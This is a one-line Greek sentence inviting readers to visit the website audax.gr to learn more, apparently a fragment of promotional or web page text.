Επισκεφθείτε το https://www.audax.gr για να μάθετε περισσότερα.